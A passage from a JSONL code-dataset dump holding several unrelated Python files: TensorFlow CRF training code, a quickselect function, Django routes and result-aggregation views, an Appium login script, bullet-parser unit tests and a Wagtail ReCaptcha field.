\"train\":\n\n _, summary, step, _logits, _trans_params= sess.run([train_op, summary_op, global_step, logits, trans_params], feed_dict=feeeed)\n\n viterbi_sequences = []\n for logit, sequence_length in zip(_logits, feed[1]):\n logit = logit[:sequence_length] # keep only the valid steps\n viterbi_seq, viterbi_score = tf.contrib.crf.viterbi_decode(\n logit, _trans_params)\n viterbi_sequences += [viterbi_seq]\n\n for lab, lab_pred, length in zip(feed[4], viterbi_sequences,\n feed[1]):\n lab = lab[:length]\n lab_pred = lab_pred[:length]\n accs += [a == b for (a, b) in zip(lab, lab_pred)]\n\n lab_chunks = set(get_chunks(lab, vocab_tags))\n lab_pred_chunks = set(get_chunks(lab_pred,\n vocab_tags))\n\n correct_preds += len(lab_chunks & lab_pred_chunks)\n total_preds += len(lab_pred_chunks)\n total_correct += len(lab_chunks)\n\n if (step % 100 == 0):\n print(\n \"{0} step: {1} acc: {2}\".format(datetime.now().isoformat(), step, np.mean(accs)))\n\n if task_index == 0:\n summary_writer.add_summary(summary, step)\n else: # args.mode == \"inference\"\n _logits, _trans_params = sess.run([logits, trans_params], feed_dict=feeeed)\n viterbi_sequences = []\n results = []\n for logit, sequence_length in zip(_logits, feed[1]):\n logit = logit[:sequence_length] # keep only the valid steps\n viterbi_seq, viterbi_score = tf.contrib.crf.viterbi_decode(\n logit, _trans_params)\n viterbi_sequences += [viterbi_seq]\n\n for lab, lab_pred, length in zip(feed[4], viterbi_sequences,\n feed[1]):\n lab = lab[:length]\n lab_pred = lab_pred[:length]\n accs += [a == b for (a, b) in zip(lab, lab_pred)]\n\n lab_chunks = set(get_chunks(lab, vocab_tags))\n lab_pred_chunks = set(get_chunks(lab_pred,\n vocab_tags))\n\n correct_preds += len(lab_chunks & lab_pred_chunks)\n total_preds += len(lab_pred_chunks)\n total_correct += len(lab_chunks)\n\n p = correct_preds / total_preds if correct_preds > 0 else 0\n r = correct_preds / total_correct if correct_preds > 0 else 0\n f1 = 2 * p * r / (p + r) if correct_preds > 0 else 0\n acc = np.mean(accs)\n\n results.append('label {} <==> pred {}, accuracy: {} f1: {}'.format(lab, lab_pred, acc, f1))\n\n tf_feed.batch_results(results)\n\n if sess.should_stop() or step >= args.steps:\n tf_feed.terminate()\n\n p = correct_preds / total_preds if correct_preds > 0 else 0\n r = correct_preds / total_correct if correct_preds > 0 else 0\n f1 = 2 * p * r / (p + r) if correct_preds > 0 else 0\n acc = np.mean(accs)\n print(\n \"accuracy: {}\".format(acc))\n tf.summary.scalar(\"acc\", acc)\n\n # Ask for all the services to stop.\n print(\"{0} stopping supervisor\".format(datetime.now().isoformat()))\n\n if job_name == \"worker\" and task_index == 0:\n summary_writer.close()\n","sub_path":"pie_dist.py","file_name":"pie_dist.py","file_ext":"py","file_size_in_byte":17320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"589386090","text":"# Given an unsorted array, Find the k-th largest number from the array.\n# e.g. [4, 2, 5, 3, 9, 1] / 0 → 9\n\n# the best (amortized O(N)) solution with the quick-sort like algorithm \ndef find_kth_largest(nums, K):\n if not nums: return\n len_nums = len(nums)\n if K < 0 or K >len_nums: return\n \n def _findkth(subnums,k):\n if not subnums: return\n len_subnums = len(subnums)\n if k < 0 or k > len_subnums: return\n \n pivot = subnums[0]\n left = []\n right = []\n \n for i in range(1, len_subnums):\n if subnums[i] > pivot:\n right.append(subnums[i])\n else:\n left.append(subnums[i])\n \n if len(left) == k:\n return pivot\n elif len(left) > k:\n return _findkth(left, k)\n else:\n return _findkth(right, k - len(left)-1)\n \n return _findkth(nums, len_nums-K-1)\n\nif __name__ == '__main__':\n nums1 = [4, 2, 5, 3, 9, 1]\n \n print(find_kth_largest(nums1, 0))\n","sub_path":"1 Numerics/1-14_kth_largest.py","file_name":"1-14_kth_largest.py","file_ext":"py","file_size_in_byte":1041,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"163360027","text":"from account import views\n\nfrom django.urls import path\n\napp_name = 'account'\n\nurlpatterns = [\n # path('my-profile//', views.MyProfile.as_view(), name='my_profile'),\n path('my-profile/', views.MyProfile.as_view(), name='my_profile'),\n path('sign-up/', views.SignUpView.as_view(), name='sign-up'),\n path('avatar/create', views.CreateUserAvatar.as_view(), name='avatar-create'),\n path('avatars/list/', views.Avatars.as_view(), name='avatars'),\n path('activate/', views.ActivateUser.as_view(), name='activate'),\n\n]\n","sub_path":"src/account/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"131997271","text":"# -*- coding: utf-8 -*-\n#__Author__ = tuerky\n#登录模块\nimport os\nimport sys\nfrom appium.webdriver.common.touch_action import TouchAction\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\ncurPath = os.path.abspath(os.path.dirname(__file__))\nrootPath = os.path.split(curPath)[0]\nsys.path.append(rootPath) # 防止命令行找不到模块\nfrom configwx.AppSetting import AppSetting\nfrom configwx.optEnv import operateEnv\nfrom Logging.LogConfig import LogAdd\nlogger = LogAdd('root')\nimport time\n\nclass Login:\n def __init__(self,wd):\n self.wd = wd\n\n def Log_me(self):\n locat = (By.NAME,\"我的\")\n try:\n AppSetting.wait(self.wd,20,0.5,EC.presence_of_element_located(locat))\n logger.info(u\"首页加载成功!\")\n print(\"sss\")\n except:\n logger.info(u\"首页加载超时!\")\n raise Exception(u\"首页加载超时!\")\n self.wd.find_element_by_accessibility_id(\"我的\").click()\n locat1 = (By.XPATH,\"//android.webkit.WebView/android.webkit.WebView[1]/android.view.View[2]/android.view.View[1]\")\n try:\n AppSetting.wait(self.wd, 20, 0.5, EC.presence_of_element_located(locat1))\n logger.info(u\"我的页面跳转正确\")\n except:\n logger.info(u\"我的页面加载超时!\")\n raise Exception(u\"我的页面加载超时!\")\n finally:\n pass\n\n\n loginame = self.wd.find_element_by_xpath(\n \"//android.webkit.WebView/android.webkit.WebView[1]/android.view.View[2]/android.view.View\").get_attribute(\"name\")\n # content-desc这个属性经过版本更新,原来是name属性所对应的,所以属性值的获取方式还是通过name的方式,如果content-desc为空则取text属性值\n if loginame == '点击登录':\n\n self.wd.find_element_by_xpath(\n \"//android.webkit.WebView/android.webkit.WebView[1]/android.view.View[2]/android.view.View[@content-desc = \\\"点击登录\\\"]\").click()\n try:\n self.wd.find_element_by_accessibility_id(\"手机登录\").click()\n logger.info(u'登录页面跳转成功!')\n except:\n logger.info(u'登录页面跳转有误!')\n raise Exception(u\"登录页面有误!\")\n Login.Log_on()\n locat2 = (By.NAME, \"查看并编辑个人资料\")\n try:\n AppSetting.wait(self.wd, 20, 0.5, EC.presence_of_element_located(locat2))\n logger.info(u\"登录成功!\")\n except:\n logger.info(u\"登录错误!\")\n raise Exception(u\"登录错误!\")\n else:\n logger.info(u\"用户已��录!\")\n\n def Log_on(self):\n phone = operateEnv.get_variable('appuser')\n password = operateEnv.get_variable('apppassword')\n self.wd.find_element_by_accessibility_id(\"输入注册手机号\").send_keys(phone)\n self.wd.find_element_by_xpath(\n \"//android.webkit.WebView/android.webkit.WebView[1]/android.widget.EditText[2]\").send_keys(password)\n self.wd.hide_keyboard() # 隐藏键盘\n self.wd.find_element_by_accessibility_id(\"登录\").click()\n\n\n\n\n\nif __name__=='__main__':\n __Appsetting = AppSetting()\n wd = __Appsetting.stat_Appium()\n Login = Login(wd)\n Login.Log_me()\n\n\n","sub_path":"AutoTest/Models/Login.py","file_name":"Login.py","file_ext":"py","file_size_in_byte":3424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"230002486","text":"from textwrap import dedent\nimport unittest\n\nfrom bullets import parse_bullets\n\n\nclass ParseBulletsTests(unittest.TestCase):\n\n \"\"\"Tests for parse_bullets.\"\"\"\n\n def test_single_bullet_string_representation(self):\n bullets = parse_bullets(\"- Just one bullet\")\n self.assertEqual(len(bullets), 1)\n self.assertEqual(str(bullets[0]), \"- Just one bullet\")\n\n def test_single_bullet(self):\n self.assertEqual(\n parse_bullets(\"- Just one bullet\")[0].text,\n \"Just one bullet\",\n )\n\n def test_two_bullets(self):\n bullets = parse_bullets(\"- Do laundry\\n- Clean kitchen\")\n self.assertEqual(len(bullets), 2)\n self.assertEqual(str(bullets[0]), \"- Do laundry\")\n self.assertEqual(str(bullets[1]), \"- Clean kitchen\")\n self.assertEqual(bullets[0].text, \"Do laundry\")\n self.assertEqual(bullets[1].text, \"Clean kitchen\")\n\n def test_many_bullets_and_trailing_newline(self):\n bullets = parse_bullets(dedent(\"\"\"\n - Do laundry\n - Write tests for new exercise\n - Write new Python Morsels emails\n - Fix Python Morsels login page bug\n \"\"\").lstrip('\\n'))\n self.assertEqual(len(bullets), 4)\n self.assertEqual(str(bullets[0]), \"- Do laundry\")\n self.assertEqual(str(bullets[2]), \"- Write new Python Morsels emails\")\n self.assertEqual(bullets[1].text, \"Write tests for new exercise\")\n self.assertEqual(bullets[3].text, \"Fix Python Morsels login page bug\")\n\n # To test the Bonus part of this exercise, comment out the following line\n # @unittest.expectedFailure\n def test_nested_bullets(self):\n bullets = parse_bullets(dedent(\"\"\"\n - Do laundry\n - Python Morsels\n - Write tests for new exercise\n - Fix Python Morsels login page bug\n - Reproduce bug locally\n - Write regression test\n - Deploy fix\n - Make PR for fix\n - Code review\n - Merge and deploy\n - Write new Python Morsels emails\n - Buy groceries\n - Training\n - Follow-up with new team training client\n \"\"\").lstrip('\\n'))\n self.assertEqual(len(bullets), 4)\n self.assertEqual(\n [b.text for b in bullets],\n [\"Do laundry\", \"Python Morsels\", \"Buy groceries\", \"Training\"],\n )\n self.assertEqual(len(bullets[0].children), 0)\n self.assertEqual(len(bullets[2].children), 0)\n self.assertEqual(\n [b.text for b in bullets[1].children],\n [\n \"Write tests for new exercise\",\n \"Fix Python Morsels login page bug\",\n \"Write new Python Morsels emails\",\n ],\n )\n self.assertEqual(\n [b.text for b in bullets[3].children],\n [\"Follow-up with new team training client\"],\n )\n self.assertEqual(\n [b.text for b in bullets[1].children[1].children],\n [\n \"Reproduce bug locally\",\n \"Write regression test\",\n \"Deploy fix\",\n ],\n )\n self.assertEqual(\n [b.text for b in bullets[1].children[1].children[2].children],\n [\n \"Make PR for fix\",\n \"Code review\",\n \"Merge and deploy\",\n ],\n )\n self.assertEqual(\n [len(b.children) for b in bullets[1].children],\n [0, 3, 0],\n )\n self.assertEqual(len(bullets[3].children[0].children), 0)\n\n # To test the Bonus part of this exercise, comment out the following line\n # @unittest.expectedFailure\n def test_parent_attribute_and_nested_string_representation(self):\n bullets = parse_bullets(dedent(\"\"\"\n - Do laundry\n - Python Morsels\n - Write tests for new exercise\n - Fix Python Morsels login page bug\n - Reproduce bug locally\n - Write regression test\n - Deploy fix\n - Make PR for fix\n - Code review\n - Merge and deploy\n - Write new Python Morsels emails\n - Buy groceries\n - Training\n - Follow-up with new team training client\n \"\"\").lstrip('\\n'))\n\n # parent attributes\n for bullet in bullets:\n self.assertIsNone(bullet.parent)\n for child in bullet.children:\n self.assertIs(child.parent, bullet)\n for grandchild in child.children:\n self.assertIs(grandchild.parent, child)\n greatgrandchildren = bullets[1].children[1].children[2].children\n for child in greatgrandchildren:\n self.assertIs(child.parent, bullets[1].children[1].children[2])\n\n # String representations\n self.assertEqual(str(bullets[0]), \"- Do laundry\")\n self.assertEqual(str(bullets[2]), \"- Buy groceries\")\n self.assertEqual(str(bullets[3]), dedent(\"\"\"\n - Training\n - Follow-up with new team training client\n \"\"\").strip('\\n'))\n self.assertEqual(str(bullets[1].children[1].children[2]), dedent(\"\"\"\n - Deploy fix\n - Make PR for fix\n - Code review\n - Merge and deploy\n \"\"\").strip('\\n'))\n self.assertEqual(str(bullets[1].children[1]), dedent(\"\"\"\n - Fix Python Morsels login page bug\n - Reproduce bug locally\n - Write regression test\n - Deploy fix\n - Make PR for fix\n - Code review\n - Merge and deploy\n \"\"\").strip('\\n'))\n self.assertEqual(str(bullets[1]), dedent(\"\"\"\n - Python Morsels\n - Write tests for new exercise\n - Fix Python Morsels login page bug\n - Reproduce bug locally\n - Write regression test\n - Deploy fix\n - Make PR for fix\n - Code review\n - Merge and deploy\n - Write new Python Morsels emails\n \"\"\").strip('\\n'))\n\n # To test the Bonus part of this exercise, comment out the following line\n # @unittest.expectedFailure\n def test_bullet_list_string_representation_and_filtering(self):\n bullets = parse_bullets(dedent(\"\"\"\n - Do laundry\n - Python Morsels\n - Write tests for new exercise\n - Fix Python Morsels login page bug\n - Reproduce bug locally\n - Write regression test\n - Deploy fix\n - Make PR for fix\n - Code review\n - Merge and deploy\n - Write new Python Morsels emails\n - Buy groceries\n - Python Training\n - Follow-up with new team training client\n \"\"\").lstrip('\\n'))\n\n # string representation of bullet list\n self.assertEqual(str(bullets), dedent(\"\"\"\n - Do laundry\n - Python Morsels\n - Write tests for new exercise\n - Fix Python Morsels login page bug\n - Reproduce bug locally\n - Write regression test\n - Deploy fix\n - Make PR for fix\n - Code review\n - Merge and deploy\n - Write new Python Morsels emails\n - Buy groceries\n - Python Training\n - Follow-up with new team training client\n \"\"\").strip('\\n'))\n self.assertEqual(str(bullets[1].children), dedent(\"\"\"\n - Write tests for new exercise\n - Fix Python Morsels login page bug\n - Reproduce bug locally\n - Write regression test\n - Deploy fix\n - Make PR for fix\n - Code review\n - Merge and deploy\n - Write new Python Morsels emails\n \"\"\").strip('\\n'))\n\n # filter method\n python_results = bullets.filter(\"python\")\n self.assertEqual(python_results[0].text, \"Python Morsels\")\n self.assertEqual(python_results[1].text, \"Python Training\")\n self.assertEqual(len(python_results), 2)\n self.assertEqual(\n python_results[0].children[0].text,\n \"Fix Python Morsels login page bug\",\n )\n self.assertEqual(\n python_results[0].children[1].text,\n \"Write new Python Morsels emails\",\n )\n self.assertEqual(len(python_results[0].children), 2)\n self.assertEqual(str(python_results), dedent(\"\"\"\n - Python Morsels\n - Fix Python Morsels login page bug\n - Write new Python Morsels emails\n - Python Training\n \"\"\").strip('\\n'))\n new_results = bullets.filter(\"new\")\n self.assertEqual(str(new_results), dedent(\"\"\"\n - Python Morsels\n - Write tests for new exercise\n - Write new Python Morsels emails\n - Python Training\n - Follow-up with new team training client\n \"\"\").strip('\\n'))\n\n\nclass AllowUnexpectedSuccessRunner(unittest.TextTestRunner):\n \"\"\"Custom test runner to avoid FAILED message on unexpected successes.\"\"\"\n class resultclass(unittest.TextTestResult):\n def wasSuccessful(self):\n return not (self.failures or self.errors)\n\n\nif __name__ == \"__main__\":\n from platform import python_version\n import sys\n if sys.version_info < (3, 6):\n sys.exit(\"Running {}. Python 3.6 required.\".format(python_version()))\n unittest.main(verbosity=2, testRunner=AllowUnexpectedSuccessRunner)\n","sub_path":"79_104/84_bullets/test_bullets.py","file_name":"test_bullets.py","file_ext":"py","file_size_in_byte":10039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"300647976","text":"from captcha.fields import ReCaptchaField\nfrom django import forms\nfrom django.core import validators\nfrom wagtail.core import blocks\nfrom wagtailstreamforms.fields import BaseField, register\n\n\n@register(\"recaptcha\")\nclass ReCaptchaField(BaseField):\n field_class = ReCaptchaField\n icon = \"success\"\n label = \"ReCAPTCHA field\"\n\n def get_options(self, block_value):\n options = super().get_options(block_value)\n options.update({\"required\": True})\n return options\n\n def get_form_block(self):\n return blocks.StructBlock(\n [\n (\"label\", blocks.CharBlock()),\n (\"help_text\", blocks.CharBlock(required=False)),\n ],\n icon=self.icon,\n label=self.label,\n )\n","sub_path":"portfolio/home/wagtailstreamforms_fields.py","file_name":"wagtailstreamforms_fields.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"229982967","text":"from django.shortcuts import render\nfrom django.db.models import Sum,Count,Avg\nfrom django.db.models import CharField, Value,IntegerField, FloatField\nfrom django.db.models.functions import Cast\nfrom django.views import generic\nfrom .models import *\nimport numpy as np\n\n# Create your views here.\n\ndef index(request):\n ''' Show all sweep orders available '''\n sweep_orders = Sweep.objects.all().values('nr_params')\\\n .order_by('nr_params').distinct()\n context = {'sweep_order': sweep_orders }\n \n return render(request,'results/index.html',context)\n\ndef dashboard(request):\n profiles = Profile.objects.all()\n scores = {}\n for profile in profiles:\n global_scores = GlobalResultScore.objects.all()\\\n .filter(profile=profile)\\\n .order_by('normalized_score')\n for global_score in global_scores:\n _addGlobalResultBaseline(global_score.global_result)\n _addGlobalScoresBaseline(global_scores)\n scores[profile.name] = global_scores\n context = { 'scores': scores }\n return render(request,'results/dashboard.html',context)\n\ndef sweeps(request,order):\n ''' List all sweeps and their parameters for a given order '''\n result = {}\n sweeps = Sweep.objects.all().filter(nr_params = order)\n for sweep in sweeps:\n params = []\n sweep_params = SweepParameter.objects.all().filter(sweep = sweep)\n for sweep_param in sweep_params:\n params.append(sweep_param)\n result[sweep.id] = params\n sp = SweepParameter.objects.all().filter(sweep__nr_params = order)\n context = {'order': order, 'sweep_parameters': result}\n return render(request,'results/sweeps.html',context)\n\ndef sweep(request,id):\n ''' Show sweep with given id and list all of its runs'''\n sweep = Sweep.objects.all().filter(id=id).get()\n nr_params = sweep.nr_params\n #Return all runs of a given sweep\n runs = Run.objects.all().filter(sweep__id = id)\n #Queryset containing all parameter values for the runs of this sweep (sorted by parameter & val)\n runvalues = RunValue.objects.all().filter(run__in=runs)#.order_by('sweep_parameter','value')\n #FIX for ordering on value\n runvalues = runvalues.annotate(value_as_float=Cast('value',FloatField())).order_by('sweep_parameter','value_as_float')\n renderGraphs = False\n if nr_params == 1:\n renderGraphs = True\n runs = []\n for runvalue in runvalues:\n runs.append(runvalue.run)\n \n #======NEW PART==========\n #assume only one runvalue per run (otherwise we can't make 2d plot)\n profiles = Profile.objects.all()\n scores = {}\n #TO DELETE\n prediction_errors = {}\n baseline_scores = {}\n baseline_prediction_errors = {}\n #TO DELETE END --\n for profile in profiles:\n scores[profile.name] = { 'normalized_scores': [],\n 'normalized_scores_std': [],\n 'prediction_errors': [],\n 'prediction_errors_std': [],\n 'baseline_scores': [],\n 'baseline_prediction_errors': []\n }\n for run in runs:\n aggregated_run = _aggregateRun(run)\n for profile in profiles:\n scores[profile.name]['normalized_scores'].append(np.mean(aggregated_run[profile.name]['normalized_scores']))\n scores[profile.name]['normalized_scores_std'].append(np.std(aggregated_run[profile.name]['normalized_scores']))\n scores[profile.name]['prediction_errors'].append(np.mean(aggregated_run[profile.name]['pred_error_no_anomaly']))\n scores[profile.name]['prediction_errors_std'].append(np.std(aggregated_run[profile.name]['pred_error_no_anomaly']))\n if profile.name == \"standard\":\n run.normalized_score = round(scores[profile.name]['normalized_scores'][-1],2)\n run.std = round(scores[profile.name]['normalized_scores_std'][-1],2)\n elif profile.name == \"reward_low_FP_rate\":\n run.normalized_score_low_FP = round(scores[profile.name]['normalized_scores'][-1],2)\n run.std_low_FP = round(scores[profile.name]['normalized_scores_std'][-1],2)\n elif profile.name == \"reward_low_FN_rate\":\n run.normalized_score_low_FN = round(scores[profile.name]['normalized_scores'][-1],2)\n run.std_low_FN = round(scores[profile.name]['normalized_scores_std'][-1],2)\n \n\n baseline_aggregated_run = _aggregateRun(_getBaseline())\n baselines = {}\n for profile in profiles:\n mean = np.mean(baseline_aggregated_run[profile.name]['normalized_scores'])\n std = np.std(baseline_aggregated_run[profile.name]['normalized_scores'])\n baselines[profile.name] = { 'mean': round(mean,2), 'std': round(std,2)}\n scores[profile.name]['baseline_scores'] = [mean]*len(scores[profile.name]['normalized_scores'])\n scores[profile.name]['baseline_prediction_errors'] = [np.mean(baseline_aggregated_run[profile.name]['pred_error_no_anomaly'])]*len(scores[profile.name]['prediction_errors'])\n\n for run in runs:\n run.std_baseline = ((run.normalized_score/float(baselines[\"standard\"][\"mean\"]))-1)*100\n run.low_fp_baseline = ((run.normalized_score_low_FP/float(baselines[\"reward_low_FP_rate\"][\"mean\"]))-1)*100\n run.low_fn_baseline = ((run.normalized_score_low_FN/float(baselines[\"reward_low_FN_rate\"][\"mean\"]))-1)*100\n\n\n #========================\n # #All global results of all runs for this sweep:\n # grs = GlobalResultScore.objects.all().filter(global_result__run__in = runs)\n # #All defined profiles:\n # profiles = Profile.objects.all()\n # scores = {}\n # prediction_errors = {}\n # baseline_scores = {}\n # baseline_prediction_errors = {}\n # for profile in profiles:\n # grs_local = grs.filter(profile=profile)\n # # grs_local.annotate(value='')\n # # for grs_local_instance in grs_local:\n # # grs_local_instance.param_values = Value(RunValue.objects.all().filter(run = grs_local_instance.global_result.run).get(),output_field=FloatField())\n # # grs_local = grs_local.order_by('param_values__value')\n # # print(grs_local)\n\n # # print(profile.name)\n # #print(list(grs_local.values_list('normalized_score',flat=True)))\n # #scores[profile.name] = [instance.normalized_score for instance in grs_local]\n # result_scores = []\n # result_prediction_error = []\n # for runvalue in runvalues:\n # #print(runvalue)\n # result_scores.append(grs_local.filter(global_result__run = runvalue.run).get().normalized_score)\n # result_prediction_error.append(grs_local.filter(global_result__run = runvalue.run).get().global_result.pred_error_no_anomaly)\n \n # scores[profile.name] = result_scores\n # prediction_errors[profile.name] = result_prediction_error\n # baseline_scores[profile.name] = [GlobalResultScore.objects.all().filter(global_result__run = _getBaseline(),profile=profile).get().normalized_score]*len(result_scores)\n # baseline_prediction_errors[profile.name] = [GlobalResultScore.objects.all().filter(global_result__run = _getBaseline(),profile=profile).get().global_result.pred_error_no_anomaly]*len(result_prediction_error)\n #value_list = list(runvalues.values_list('value',flat=True))\n value_list = []\n try:\n value_list = [float(x) if not (x[0] == '[') else float(list(x[1:-1].split(','))[1]) for x in list(runvalues.values_list('value',flat=True))]\n except:\n value_list = list(runvalues.values_list('value',flat=True))\n renderGraph = False\n \n score_list = []\n context = {'sweep_id': id, 'runs': runs, 'runvalues': runvalues,\n 'x': value_list, 'scores': scores, 'profiles': profiles,\n 'renderGraphs': renderGraphs, 'baselines': baselines}\n # 'baseline_scores': baseline_scores,\n # 'prediction_errors': prediction_errors,\n # 'baseline_prediction_errors': baseline_prediction_errors}\n return render(request,'results/sweep.html',context)\n\ndef _aggregateRun(run):\n ''' This function returns a dictionary for the given run, with an entry for each profile.\n Each profile contains the normalized score among all seed combinations as well as the normal\n score, tp,tn,fp and fn. '''\n #Return all global results for run (with possibly different seeds)\n global_results = GlobalResult.objects.all().filter(run = run)\n profiles = Profile.objects.all()\n result = {}\n for profile in profiles:\n normalized_scores = []\n scores = []\n pred_error_no_anomaly = []\n pred_error_during_anomaly = []\n tp = []\n tn = []\n fp = []\n fn = []\n for global_result in global_results:\n global_result_score = GlobalResultScore.objects.all().filter(global_result=global_result,\n profile=profile).get() #unique \n normalized_scores.append(global_result_score.normalized_score)\n scores.append(global_result_score.score)\n pred_error_no_anomaly.append(global_result.pred_error_no_anomaly)\n pred_error_during_anomaly.append(global_result.pred_error_during_anomaly)\n tp.append(global_result_score.true_positives)\n tn.append(global_result_score.true_negatives)\n fp.append(global_result_score.false_positives)\n fn.append(global_result_score.false_negatives)\n \n result[profile.name] = { 'normalized_scores': normalized_scores,\n 'scores': scores,\n 'pred_error_no_anomaly': pred_error_no_anomaly,\n 'pred_error_during_anomaly': pred_error_during_anomaly,\n 'true_positives': tp,\n 'true_negatives': tn,\n 'false_positives': fp,\n 'false_negatives': fn\n }\n return result\n\ndef run(request,id):\n ''' Show run with given id and list all results (local + global) '''\n #All local results for this run (one per dataset)\n local_results = LocalResult.objects.all().filter(run__id = id)\n #The global result for this run\n global_results = GlobalResult.objects.all().filter(run__id = id)\n avg_global_result = GlobalResult(run = global_results[0].run,\n seeds = global_results[0].seeds,\n pred_error_no_anomaly = global_results.aggregate(Avg('pred_error_no_anomaly'))['pred_error_no_anomaly__avg'],\n pred_error_during_anomaly = global_results.aggregate(Avg('pred_error_during_anomaly'))['pred_error_during_anomaly__avg'])\n\n #assert(global_result.count() == 1)\n #There can only be one global result per run. So we select this object:\n #global_result = global_result.get()\n #Get all local result scores for this run (one per profile)\n local_scores = LocalResultScore.objects.all().filter(local_result__run__id = id)\n #Get all global result scores for this run (one per profile)\n global_scores = GlobalResultScore.objects.all().filter(global_result__in=global_results)\n \n #global_scores = global_scores.annotate(total_score=Value(3,output_field=IntegerField()))\n #global_scores, global_result, local_scores = _aggregateGlobal(id,True)\n #Baseline scores:\n #b_global_scores, b_global_result, b_local_scores = _aggregateGlobal(_getBaseLine().id)\n #_addGlobalResultBaseline(global_result)\n #_addGlobalScoresBaseline(global_scores)\n baseline_id = _getBaseline().id\n #Indicate whether this run is the original NAB parameter set\n original = (baseline_id == id)\n profiles = Profile.objects.all()\n\n avg_dataset_scores = {}\n for profile in profiles:\n categories = {}\n for category in Category.objects.all():\n #all local results for datasets in given category:\n lr_dataset = local_results.filter(dataset__category = category)\n lrs_p = LocalResultScore.objects.all().filter(profile=profile,local_result__in=lr_dataset)\n avg_score = lrs_p.aggregate(Avg('score'))['score__avg']\n categories[category.name] = avg_score\n avg_dataset_scores[profile.name]=categories\n \n \n runvalues = RunValue.objects.all().filter(run__id = id).order_by('sweep_parameter__parameter__group')\n context = {'run_id' : id, 'profiles': profiles, 'baseline_id': baseline_id,\n 'original': original,\n 'global_scores': global_scores,\n 'local_scores': local_scores, \n 'global_result': avg_global_result,#global_result,\n 'dataset_scores': avg_dataset_scores,\n 'runvalues': runvalues}\n # 'b_global_scores': b_global_scores,\n # 'b_global_result': b_global_result,\n # 'b_local_scores': b_local_scores }\n\n return render(request,'results/run.html',context)\n \n\ndef _addGlobalResultBaseline(global_result):\n ''' Add relative performance w.r.t baseline run to this global result '''\n #Get the baseline run:\n baseline = _getBaseline()\n #Get the global result for the baseline run:\n b_global_result = GlobalResult.objects.all().filter(run__id = baseline.id).get()\n #Add relative performance\n global_result.pred_error_no_anomaly_relative_baseline = ((float(global_result.pred_error_no_anomaly)/b_global_result.pred_error_no_anomaly)-1)*100\n global_result.pred_error_during_anomaly_relative_baseline = ((float(global_result.pred_error_during_anomaly)/b_global_result.pred_error_during_anomaly)-1)*100\n\ndef _addGlobalScoresBaseline(global_scores):\n ''' Add relative performance w.r.t baseline run to these global scores ''' \n #Get the baseline run:\n baseline = _getBaseline()\n #Get the global result for the baseline run:\n b_global_result = GlobalResult.objects.all().filter(run__id = baseline.id).get() \n #Get all global result scores for baseline run (one per profile)\n b_global_scores = GlobalResultScore.objects.all().filter(global_result=b_global_result)\n #Add relative performance w.r.t baseline to each global score\n for global_score in global_scores:\n b_global_score = b_global_scores.filter(profile=global_score.profile).get()\n global_score.normalized_score_relative_baseline = ((float(global_score.normalized_score)/b_global_score.normalized_score)-1)*100\n global_score.score_relative_baseline = global_score.score - b_global_score.score\n \n\ndef _addLocalBaseline():\n pass\n\n\n# def _aggregateGlobal(run_id,add_baseline = False):\n# ''' Add aggregated local scores to global scores objects ''' \n# if add_baseline:\n# b_global_scores, b_gr, b_local_scores = _aggregateGlobal(_getBaseLine().id,False)\n# #All local results for this run (one per dataset)\n# lr = LocalResult.objects.all().filter(run__id = run_id)\n# #The global result for this run\n# gr = GlobalResult.objects.all().filter(run__id = run_id)\n# assert(gr.count() == 1)\n# #There can only be one global result per run. So we select this object:\n# gr = gr.get()\n# #Add prediction error score aggregates to global result:\n# gr.pred_error_no_anomaly = list(lr.aggregate(Sum('pred_error_no_anomaly')).values())[0]\n# gr.pred_error_during_anomaly = list(lr.aggregate(Sum('pred_error_during_anomaly')).values())[0]\n# if add_baseline:\n# gr.pred_error_no_anomaly_relative_baseline = ((float(gr.pred_error_no_anomaly)/b_gr.pred_error_no_anomaly)-1)*100\n# gr.pred_error_during_anomaly_relative_baseline = ((float(gr.pred_error_during_anomaly)/b_gr.pred_error_during_anomaly)-1)*100\n\n# #Get all local result scores for this run (one per profile)\n# local_scores = LocalResultScore.objects.all().filter(local_result__run__id = run_id)\n# #Get all global result scores for this run (one per profile)\n# global_scores = GlobalResultScore.objects.all().filter(global_result=gr)\n# #Add aggregated totals to the global scores (since we did not store them EXPLICITELY)\n# for global_score in global_scores:\n# #Intermediate Result: all local scores for this global score (=> for a given profile)\n# ir = local_scores.filter(profile = global_score.profile)\n# #Add aggregated results as new attributes:\n# global_score.score = list(ir.aggregate(Sum('score')).values())[0]\n# global_score.true_positives = list(ir.aggregate(Sum('true_positives')).values())[0]\n# global_score.true_negatives = list(ir.aggregate(Sum('true_negatives')).values())[0]\n# global_score.false_positives = list(ir.aggregate(Sum('false_positives')).values())[0]\n# global_score.false_negatives = list(ir.aggregate(Sum('false_negatives')).values())[0]\n# if add_baseline:\n# #b_ir = b_global_scores.filter(profile=global_score.profile)\n# for b_global_score in b_global_scores:\n# if(b_global_score.profile == global_score.profile):\n# global_score.score_relative_baseline = ((float(global_score.score)/b_global_score.score)-1)*100\n# global_score.normalized_score_relative_baseline = ((float(global_score.normalized_score)/b_global_score.normalized_score)-1)*100\n# break\n\n\n# #RETURNS:\n# # - 'global_scores' with aggregated scores,\n# # - 'gr': global result with aggregated prediction errors\n# # - local scores for completeness (nothing changed here,\n# # but this may save us a redundant query in some cases where we also need the local scores)\n# return global_scores, gr, local_scores\n \ndef _getBaseline():\n ''' Returns the run where all parameters are standard NAB. Used as the baseline for results '''\n baseline = Run.objects.all().filter(sweep__nr_params = 0).get()\n return baseline\n","sub_path":"parametersite/results/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":18289,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"237036429","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Aug 23 07:55:34 2020\r\n\r\n@author: 